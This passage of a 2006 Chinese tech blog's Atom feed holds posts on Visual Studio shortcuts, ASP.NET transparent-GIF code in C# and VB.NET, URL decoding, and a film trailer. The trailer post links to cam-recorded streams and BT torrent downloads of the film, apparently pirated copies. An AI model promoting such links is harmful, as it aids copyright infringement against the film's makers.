		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-06T08:37:52+08:00</updated>
	  <published>2006-09-06T08:37:52+08:00</published>
		  <summary type="html"><![CDATA[<P>《龙虎门》预告片:</P>
<P>·片名：<FONT color=#7da721>《龙虎门》</FONT> <BR>·英文名： Dragon Tiger Gate <BR>·监制： 黄百鸣 施南生 于冬 ·动作导演： 甄子丹 <BR>·导演： 叶伟信 ·领衔主演： 甄子丹　谢霆锋　余文乐 董洁　李小冉 <BR>·主演： 元华 陈观泰 行宇 ·友情演出： 黄玉郎 <BR>(枪版)龙虎门在线观看凑合看看速度还行<A href="http://www.zy123.com/html/3716.htm" target=_blank>&gt;&gt;播放点一在线观看</A> <A href="http://www.88907.com/Html/901.html" target=_blank>&gt;&gt;播放点二在线观看</A><BR>8月15日最新添加（速度质量都不错）:<A href="http://www.qq765.com/movie/lhm901.htm" target=_blank>&gt;&gt;播放点三在线观看</A><A href="http://www.bnb88.com/html/movfile/10521.htm" target=_blank>&gt;&gt;播放点四在线观看</A><BR><BR><B><A href="http://bt.kaicn.com/show/Down_Torrent.asp?id=82997" target=_blank><FONT color=#7da721>7.31日更新《龙虎门》BT种子下载</FONT></A><BR><A href="http://bt.1soo.cn/" target=_blank><FONT color=red>更多龙虎门种子请到BT搜索联盟搜索网址:http://bt.1soo.cn</FONT></A></B><BR><FONT color=red>《龙虎门》7月底火热上映 弘扬中国武术文化 <BR>　　由香港东方电影公司出品，改编自黄玉郎同名经典漫画作品的动作电影《龙虎门》日前已通过电影局审批，将于7月28日在全亚洲同步上映……</FONT><BR><BR>
<OBJECT height=360 width=480 classid=CLSID:cfcdaa03-8be4-11cf-b84b-0020afbbccfa><PARAM NAME="_ExtentX" VALUE="12700"><PARAM NAME="_ExtentY" VALUE="9525"><PARAM NAME="AUTOSTART" VALUE="-1"><PARAM NAME="SHUFFLE" VALUE="0"><PARAM NAME="PREFETCH" VALUE="0"><PARAM NAME="NOLABELS" VALUE="0"><PARAM NAME="SRC" VALUE="http://www.g-film.com/film/real/lhm_256.ram"><PARAM NAME="CONTROLS" VALUE="imagewindow"><PARAM NAME="CONSOLE" VALUE="one"><PARAM NAME="LOOP" VALUE="0"><PARAM NAME="NUMLOOP" VALUE="0"><PARAM NAME="CENTER" VALUE="0"><PARAM NAME="MAINTAINASPECT" VALUE="0"><PARAM NAME="BACKGROUNDCOLOR" VALUE="#000000">
<embed src="http://www.g-film.com/film/real/lhm_256.ram" width="480" height="360" nojava="true" controls="imagewindow" console="one" autostart="True"></OBJECT></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=352" /> 
	  <id>http://www.openx.cn/default.asp?id=352</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[给指定游客留言.]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=8" label="TalkMe" /> 
	  <updated>2006-08-30T15:55:47+08:00</updated>
	  <published>2006-08-30T15:55:47+08:00</published>
		  <summary type="html"><![CDATA[<P>新想法新点子,可以给指定的游客留言哦!</P>
<P>通过TalkMe可以给指定游客留言.</P>
<P>当该游客下回来到站点时就可以收到留言.</P>
<P>&nbsp;</P>
<P>呵呵~新的想法,一时的灵机一动.不知道这个想法怎样,管他先实现了再说,让事实来考验.</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=351" /> 
	  <id>http://www.openx.cn/default.asp?id=351</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Visual Studio.Net 快捷键表]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-08-29T10:07:04+08:00</updated>
	  <published>2006-08-29T10:07:04+08:00</published>
		  <summary type="html"><![CDATA[<P>快捷键&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 功能<BR>CTRL + SHIFT + B生成解决方案<BR>CTRL + F7&nbsp; 生成编译<BR>CTRL + O&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 打开文件<BR>CTRL + SHIFT + O打开项目<BR>CTRL + SHIFT + C显示类视图窗口<BR>F4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示属性窗口<BR>SHIFT + F4显示项目属性窗口<BR>CTRL + SHIFT + E显示资源视图<BR>F12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 转到定义<BR>CTRL + F12转到声明<BR>CTRL + ALT + J对象浏览<BR>CTRL + ALT + F1帮助目录<BR>CTRL + F1 动态帮助 <BR>F1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 帮助<BR>SHIFT + F1当前窗口帮助<BR>CTRL + ALT + F3帮助-搜索<BR>SHIFT + ALT + ENTER全屏显示<BR>CTRL + -向后定位<BR>CTRL + SHIFT + -向前定位<BR>CTRL + F4关闭文档窗口<BR>CTRL + PAGE DOWN光标定位到窗口上方<BR>CTRL + PAGE UP光标定位到窗口下方<BR>CTRL + F6<BR>CTRL + TAB下一个文档窗口<BR>CTRL + SHIFT + F6<BR>CTRL + SHIFT + TAB上一个文档窗口<BR>ALT + F6下一个面板窗口<BR>CTRL + K, CTRL + L取消remark<BR>CTRL + K, CTRL + C注释选择的代码<BR>CTRL + K, CTRL + U取消对选择代码的注释<BR>CTRL + M, CTRL + O折叠代码定义<BR>CTRL + M, CTRL + L展开代码定义<BR>CTRL + DELETE删除至词尾<BR>CTRL + BACKSPACE删除至词头<BR>SHIFT + TAB取消制表符<BR>CTRL + U转小写<BR>CTRL + SHIFT + U转大写<BR>CTRL + SHIFT + END选择至文档末尾<BR>CTRL + SHIFT + HOME选择至文档末尾开始<BR>SHIFT + END选择至行尾<BR>SHIFT + HOME选择至行开始处<BR>SHIFT + ALT + END垂直选择到最后尾<BR>SHIFT + ALT + HOME垂直选择到最前面<BR>CTRL + A全选<BR>CTRL + W选择当前单词<BR>CTRL + SHIFT + PAGE UP选择至本页前面<BR>CTRL + SHIFT + PAGE DOWN选择至本页后面<BR>CTRL + END文档定位到最后<BR>CTRL + HOME文档定位到最前<BR>CTRL + G转到…<BR>CTRL + K, CTRL + P上一个标签<BR>CTRL + K, CTRL + N下一个标签<BR>ALT + F10调试-ApplyCodeChanges <BR>CTRL + ALT+ Break停止调试<BR>CTRL + SHIFT + F9 取消所有断点<BR>CTRL + F9允许中断<BR>CTRL + SHIFT + F5调试-重新开始<BR>F5运行调试<BR>CTRL + F5运行不调试<BR>F10跨过程序执行<BR>F11单步逐句执行<BR>CTRL + J列出成员 <BR>CTRL + PAGE DOWN下一个视图<BR>CTRL + B格式-粗体<BR>CTRL + SHIFT + T格式-文字缩进<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=349" /> 
	  <id>http://www.openx.cn/default.asp?id=349</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[asp.net中用C#自动生成透明的GIF图片]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-08-24T08:59:56+08:00</updated>
	  <published>2006-08-24T08:59:56+08:00</published>
		  <summary type="html"><![CDATA[方案1：最easy的方法利用css的滤镜<BR>
<P>1.在aspx上拉一个HTML的img 然后run at server。同时为了体现透明，把背景色改成不同颜色自己看看效果。<BR></P><BR>
<P><BR>&lt;body MS_POSITIONING="GridLayout" background="images/bt_exit.gif"&gt;<BR>&nbsp;&nbsp;&lt;form id="Form1" method="post" runat="server"&gt;<BR>&nbsp;&nbsp;&nbsp;&lt;IMG alt="" src="" id="IMG1" style="FILTER: chroma(color:#000000)" runat="server"&gt;<BR>如果整个GIF也要半透明可用 style="FILTER:alpha(opacity=50)"<BR>&nbsp;&nbsp;&lt;/form&gt;<BR>&nbsp;&lt;/body&gt;<BR><BR>2.codebehind的代码</P><BR>
<P>using System;<BR>using System.Collections;<BR>using System.ComponentModel;<BR>using System.Data;<BR>using System.Drawing;<BR>using System.Web;<BR>using System.Web.SessionState;<BR>using System.Web.UI;<BR>using System.Web.UI.WebControls;<BR>using System.Web.UI.HtmlControls;</P><BR>
<P>namespace dztz<BR>{<BR>&nbsp;/// <SUMMARY><BR>&nbsp;/// test 的摘要说明。<BR>&nbsp;/// </SUMMARY><BR>&nbsp;public class test : System.Web.UI.Page<BR>&nbsp;{<BR>&nbsp; protected System.Web.UI.HtmlControls.HtmlImage IMG1;</P><BR>
<P>&nbsp; private void Page_Load(object sender, System.EventArgs e)<BR>&nbsp; {<BR>&nbsp;&nbsp; MyTempImage myTempImage=new MyTempImage();<BR>&nbsp;&nbsp; IMG1.Src=myTempImage.CreateImage();<BR>&nbsp; }</P><BR>
<P>&nbsp; #region Web 窗体设计器生成的代码<BR>&nbsp;..<BR>&nbsp; #endregion<BR>&nbsp;}</P><BR>
<P>&nbsp;public class MyTempImage : Page<BR>&nbsp;{<BR>&nbsp; public string CreateImage()<BR>&nbsp; {<BR>&nbsp;&nbsp; string str=DateTime.Now.ToString();<BR>&nbsp;&nbsp; Bitmap image=new Bitmap(200,30);<BR>&nbsp;&nbsp; Graphics g=Graphics.FromImage(image);<BR>&nbsp;&nbsp; string thefullname=Server.MapPath("/")+"<a href="http://www.openx.cn/file://nowtime.gif/">\\nowtime.gif</A>";<BR>&nbsp;&nbsp; g.Clear(Color.Transparent); //这里用不用透明色无所谓的，透明色实际上会是黑色<BR>&nbsp;&nbsp; g.DrawString(str,new Font("Courier New", 10),new <BR>SolidBrush(Color.FromArgb(128, 0, 0, 255)),20,5); //这里采用半透明字体<BR>&nbsp;&nbsp; image.Save(thefullname,System.Drawing.Imaging.ImageFormat.Gif);<BR>&nbsp;&nbsp; return "/nowtime.gif";<BR>&nbsp; }<BR>&nbsp;}<BR>}<BR><BR><BR><BR>方案2：生成一个真的透明背景的GIF图片（但是要调API，不推荐。）<BR><BR>Imports System.Runtime.InteropServices<BR>Imports System<BR>Imports System.IO<BR>Imports System.Drawing<BR>Imports System.Drawing.Imaging<BR>Imports System.Drawing.Drawing2D</P><BR>
<P>Public Class transparentGif : Inherits System.Web.UI.Page</P><BR>
<P>&nbsp;&nbsp;&nbsp; Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim pic As New System.Drawing.Bitmap(200, 200, PixelFormat.Format24bppRgb)</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '''draw image<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim blackpen As New Pen(Color.Black, 3)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim redpen As New Pen(Color.Red, 4)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim silverpen As New Pen(ColorTranslator.FromHtml("#CCCCCC"), 10)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim fBrush As SolidBrush = New SolidBrush(ColorTranslator.FromHtml("#0000FF"))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim g As Graphics = Graphics.FromImage(pic)</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g.Clear(Color.White) ' blank the image<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g.DrawLine(silverpen, 7, 80, 110, 80)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g.SmoothingMode = SmoothingMode.AntiAlias ' antialias objects<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g.DrawString("TEST", New Font("verdana", 24, FontStyle.Bold), fBrush, New PointF(10, 50))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g.DrawEllipse(blackpen, 5, 5, 110, 110)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g.DrawEllipse(redpen, 1, 1, 118, 118)</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '''save new image<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pic = recolorGif(pic)</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' set the content type<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.ContentType = "image/gif"</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' send the image to the viewer<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pic.Save(Response.OutputStream, ImageFormat.Gif)</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' tidy up<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pic.Dispose()</P><BR>
<P>&nbsp;&nbsp;&nbsp; End Sub</P><BR>
<P>&nbsp;&nbsp;&nbsp; Private Function GetColorPalette() As ColorPalette<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Make a new Bitmap object to get its Palette.<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim bitmap As Bitmap = New Bitmap(1, 1, PixelFormat.Format8bppIndexed)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim palette As ColorPalette = bitmap.Palette&nbsp;&nbsp; ' Grab the palette<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bitmap.Dispose()<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return palette&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Send the palette back<BR>&nbsp;&nbsp;&nbsp; End Function</P><BR>
<P><BR>&nbsp;&nbsp;&nbsp; Private Function recolorGif(ByVal image As Image) As Bitmap<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim nColors As Integer = 16</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Make a new 8-BPP indexed bitmap that is the same size as the source image.<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Width As Integer = image.Width<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Height As Integer = image.Height</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim bitmap As Bitmap = New Bitmap(Width, Height, PixelFormat.Format8bppIndexed)</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Create a color palette big enough to hold the colors you want.<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim pal As ColorPalette = GetColorPalette()</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Initialize a new color table with entries <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim i As Integer</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' set palette the lazy way!<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' replace with a proper color algorithm<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For i = 0 To nColors - 1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pal.Entries(i) = Color.FromArgb(255, 100, 100, 100)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Next</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pal.Entries(0) = Color.FromArgb(255, 0, 0, 0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pal.Entries(1) = Color.FromArgb(255, 255, 0, 0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pal.Entries(2) = Color.FromArgb(255, 0, 255, 0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pal.Entries(3) = Color.FromArgb(255, 0, 0, 255)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pal.Entries(4) = Color.FromArgb(255, 204, 204, 204)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pal.Entries(nColors - 1) = Color.FromArgb(0, 255, 255, 255)</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'web safe palette use values =<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '00 51 102 153 204 255 </P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Set the palette into the new Bitmap object.<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bitmap.Palette = pal</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim BmpCopy As Bitmap = New Bitmap(Width, Height, PixelFormat.Format32bppArgb)</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim g As Graphics<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g = Graphics.FromImage(BmpCopy)</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g.PageUnit = GraphicsUnit.Pixel</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Transfer the Image to the Bitmap.<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g.DrawImage(image, 0, 0, Width, Height)</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Force g to release its resources, namely BmpCopy.<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g.Dispose()</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Lock a rectangular portion of the bitmap for writing.<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim bitmapData As BitmapData<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim rect As Rectangle = New Rectangle(0, 0, Width, Height)</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bitmapData = bitmap.LockBits(rect, ImageLockMode.WriteOnly, PixelFormat.Format8bppIndexed)</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Copy the pixels from the source image <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim pixels As IntPtr = bitmapData.Scan0<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim bits As Byte()&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' the buffer<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim pBits As Int32</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If (bitmapData.Stride &gt; 0) Then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pBits = pixels.ToInt32()<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pBits = pixels.ToInt32() + bitmapData.Stride * (Height - 1)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim stride As Integer = Math.Abs(bitmapData.Stride)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ReDim bits(Height * stride) ' Allocate the working buffer.</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim row As Integer<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim col As Integer</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For row = 0 To Height - 1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For col = 0 To Width - 1</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim pixel As Color<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim i8BppPixel As Integer = row * stride + col</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pixel = BmpCopy.GetPixel(col, row)</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim colorIndex As Double<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If pixel.R = 0 And pixel.G = 0 And pixel.B = 0 Then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; colorIndex = 0<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ElseIf pixel.R &gt; 100 And pixel.G = 0 And pixel.B = 0 Then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; colorIndex = 1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ElseIf pixel.G &gt; 100 And pixel.R = 0 And pixel.B = 0 Then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; colorIndex = 2<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ElseIf pixel.B &gt; 100 And pixel.R = 0 And pixel.G = 0 Then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; colorIndex = 3<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ElseIf pixel.B = 204 And pixel.R = 204 And pixel.G = 204 Then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; colorIndex = 4<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; colorIndex = (nColors - 1)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bits(i8BppPixel) = CByte(colorIndex)</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Next col<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Next row</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Put the image bits definition into the bitmap.<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim win32 As win32api = New win32api()<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; win32.CopyArrayTo(pBits, bits, Height * stride)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bitmap.UnlockBits(bitmapData)</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return bitmap</P><BR>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BmpCopy.Dispose()<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bitmap.Dispose()</P><BR>
<P>&nbsp;&nbsp;&nbsp; End Function</P><BR>
<P>End Class</P><BR>
<P>Public Class win32api</P><BR>
<P><BR>&nbsp;&nbsp;&nbsp; &lt;DllImport("KERNEL32.DLL", EntryPoint:="RtlMoveMemory", _<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetLastError:=True, CharSet:=CharSet.Auto, _<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ExactSpelling:=True, _<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CallingConvention:=CallingConvention.StdCall)&gt; _<BR>&nbsp;&nbsp;&nbsp; Public Shared Sub CopyArrayTo(&lt;[In](), MarshalAs(UnmanagedType.I4)&gt; ByVal hpvDest As Int32, &lt;[In](), Out()&gt; ByVal hpvSource() As Byte, ByVal cbCopy As Integer)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Leave function empty<BR>&nbsp;&nbsp;&nbsp; End Sub</P><BR>
<P>End Class<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=348" /> 
	  <id>http://www.openx.cn/default.asp?id=348</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[关于ASP.NET的 URL编码问题留个记号]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-08-23T16:13:24+08:00</updated>
	  <published>2006-08-23T16:13:24+08:00</published>
		  <summary type="html"><![CDATA[<P>发现参数URL编码后通过URL传输,并由ASP.NET直接获取后代码会自动转换成编码前,无须再解码.</P>
<P>通过XMLHTTP的方式传输URL参数还是需要再解码的.</P>
<P>刚刚弄加密解密的时候遇到.</P>
<P>特此留个记号,以防忘记~嘿嘿!</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=347" /> 
	  <id>http://www.openx.cn/default.asp?id=347</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[哇～日流量突破2W！]]></title>
	  <author>
		 <name>cxty</name>
